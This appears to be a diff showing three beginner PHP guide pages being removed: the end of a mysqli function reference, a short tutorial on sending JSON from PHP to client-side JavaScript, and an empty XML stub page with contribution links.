mysqli_query() ==> Performs a query against the database
mysqli_error() ==> Returns the last error description for the most recent function call
mysqli_close() ==> Closes a previously opened database connection
mysqli_connect_error() ==> Returns the error description from the last connection error
mysqli_select_db() ==> Changes the default database for the connection
mysqli_fetch_assoc() ==> Fetches a result row as an associative array
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->
<a href="https://www.w3schools.com/php/php_ref_mysqli.asp">Click here</a> For more information about MYSQLi

View File

@ -1,52 +0,0 @@
---
title: Working With JSON APIs
---
## Working With JSON APIs
A common use of JSON is to read data from a web server, and display the data in a web page.
This chapter will teach you how to exchange JSON data between the client and a PHP server.
### The PHP File
PHP has some built-in functions to handle JSON.
Objects in PHP can be converted into JSON by using the PHP function `json_encode()`:
```php
<?php
$myObj->name = "John";
$myObj->age = 30;
$myObj->city = "New York";
$myJSON = json_encode($myObj);
echo $myJSON;
?>
```
[Try it](https://www.w3schools.com/js/showphp.asp?filename=demo_file)
### The Client JavaScript
Here is a JavaScript on the client, using an AJAX call to request the PHP file from the example above:
#### Example
Use JSON.parse() to convert the result into a JavaScript object:
```js
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var myObj = JSON.parse(this.responseText);
document.getElementById("demo").innerHTML = myObj.name;
}
};
xmlhttp.open("GET", "demo_file.php", true);
xmlhttp.send();
```
[Try it](https://www.w3schools.com/js/tryit.asp?filename=tryjson_php_simple)
### More Information:
- For more [check this link](https://www.w3schools.com/js/js_json_php.asp)

View File

@ -1,13 +0,0 @@
---
title: XML
---
## XML
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/xml/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->